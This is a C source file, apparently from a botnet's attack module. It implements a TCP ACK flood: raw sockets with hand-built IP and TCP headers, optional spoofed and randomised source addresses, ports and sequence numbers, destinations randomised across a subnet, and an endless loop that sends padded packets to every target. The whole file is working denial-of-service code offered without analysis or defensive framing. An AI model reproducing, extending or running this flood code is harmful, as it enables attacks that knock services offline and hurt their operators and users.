void flood_tcp_gack(struct arguments *args)
{
    DEBUG_PRINT("ACKFLOOD!\n");

    int x = 0;
    int i = 0;
    uint16_t size = 0;
    uint16_t port = 0;
    uint8_t ttl = 0;
    uint16_t source_port = 0;
    char **data;
    char ack = FALSE;
    char fin = FALSE;
    char urg = FALSE;
    char psh = FALSE;
    char rst = FALSE;
    char syn = FALSE;
    uint8_t tos = 0;
    uint16_t id = 0;
    uint32_t sequence = 0;
    uint32_t source_ip = 0;
    uint32_t ack_sequence = 0;
    char *domain;
    int *fds;

    size = retrieve_opt_num(args->options, args->num_of_flags, OPT_SIZE, 1400);
    port = retrieve_opt_num(args->options, args->num_of_flags, OPT_PORT, 0xffff);
    ttl = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_TTL, 0xff);
    source_port = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_SOURCE_PORT, 0xffff);
    ack = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_ACK, TRUE);
    fin = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_FIN, FALSE);
    urg = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_URG, FALSE);
    psh = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_PSH, FALSE);
    rst = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_RST, FALSE);
    syn = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_SYN, FALSE);
    tos = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_TOS, 0);
    id = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_ID, 0xffff);
    sequence = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_SEQUENCE, 0xffff);
    source_ip = retrieve_opt_ipv4(args->options, args->num_of_flags, OPT_TCP_SOURCE_IP, LOCAL_ADDRESS);
    ack_sequence = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_ACK_SEQUENCE, 0xffff);
    domain = retrieve_opt_str(args->options, args->num_of_flags, OPT_DOMAIN, NULL);

    data = (char **)calloc(args->num_of_targets, sizeof(char *));
    if(!data)
    {
        DEBUG_PRINT("Failed to allocate data to initialize the TCP ACK flood\n");
        exit(1);
    }

    fds = (int *)calloc(args->num_of_targets, sizeof(int));
    if(!fds)
    {
        exit(1);
    }

    for(x = 0; x < args->num_of_targets; x++)
    {
        struct iphdr *ip_header;
        struct tcphdr *tcp_header;
        char *a;

        fds[x] = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
        if(fds[x] == -1)
        {
            DEBUG_PRINT("Failed to create the TCP socket for the flood!\n");
            free(data);
            exit(1);
        }

        i = 1;
        if(setsockopt(fds[x], IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1)
        {
            DEBUG_PRINT("Failed to set IP_HDRINCL for the TCP flood\n");
            free(data);
            exit(1);
        }

        data[x] = (char *)malloc(size + 110);
        if(!data[x])
        {
            DEBUG_PRINT("Failed to allocate memory for the TCP flood\n");
            free(data);
            exit(1);
        }

        ip_header = (struct iphdr *)data[x];
        tcp_header = (struct tcphdr *)(ip_header + 1);
        a = (char *)(tcp_header + 1);

        // IPv4
        ip_header->version = 4;
        ip_header->tos = tos;
        ip_header->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + size);
        ip_header->ihl = 5;
        ip_header->frag_off = 0;
        ip_header->ttl = ttl;
        ip_header->id = htons(id);
        ip_header->protocol = IPPROTO_TCP;
        ip_header->saddr = source_ip;
        ip_header->daddr = args->targets[x].host;

        tcp_header->dest = htons(port);
        tcp_header->source = htons(source_port);
        tcp_header->seq = htons(sequence);
        tcp_header->doff = 5;
        // Set the flag respectively
        tcp_header->ack = ack;
        tcp_header->fin = fin;
        tcp_header->urg = urg;
        tcp_header->psh = psh;
        tcp_header->rst = rst;
        tcp_header->syn = syn;
        tcp_header->window = rand_new() & 0xffff;
        tcp_header->ack_seq = htons(ack_sequence);

        rand_string(a, size);
    }

    while(TRUE)
    {
        for(x = 0; x < args->num_of_targets; x++)
        {
            struct iphdr *ip_header;
            struct tcphdr *tcp_header;
            struct sockaddr_in addr;

            ip_header = (struct iphdr *)data[x];
            tcp_header = (struct tcphdr *)(ip_header + 1);

            if(args->targets[x].netmask < 32)
                ip_header->daddr = htonl(ntohl(ip_header->daddr) + (((uint32_t)rand_new()) >> args->targets[x].netmask));

            // Specified a random source address
            if(ip_header->saddr == 0xffffffff)
                ip_header->saddr = rand_new() & 0xffffffff;

            // Update the IP header
            if(ip_header->id == 0xffff)
                ip_header->id = rand_new() & 0xffff;

            // Update the TCP header
            if(tcp_header->dest == 0xffff)
                tcp_header->dest = rand_new() & 0xffff;

            if(tcp_header->source == 0xffff)
                tcp_header->source = rand_new() & 0xffff;

            if(tcp_header->seq == 0xffff)
                tcp_header->seq = rand_new() & 0xffff;

            if(tcp_header->ack_seq == 0xffff)
                tcp_header->ack_seq = rand_new() & 0xffff;

            // IP header checksum
            ip_header->check = 0;
            ip_header->check = ip_header_checksum((uint16_t *)ip_header, sizeof(struct iphdr));

            // TCP header checksum
            tcp_header->check = 0;
            tcp_header->check = tcp_udp_header_checksum(ip_header, tcp_header, htons(sizeof(struct tcphdr) + size), sizeof(struct tcphdr) + size);

            // Set the addr
            addr.sin_family = AF_INET;
            addr.sin_port = tcp_header->dest;
            addr.sin_addr.s_addr = ip_header->daddr;

            sendto(fds[x], data[x], sizeof(struct iphdr) + sizeof(struct tcphdr) + size, MSG_NOSIGNAL, (struct sockaddr *)&addr, sizeof(addr));
        }
    }
}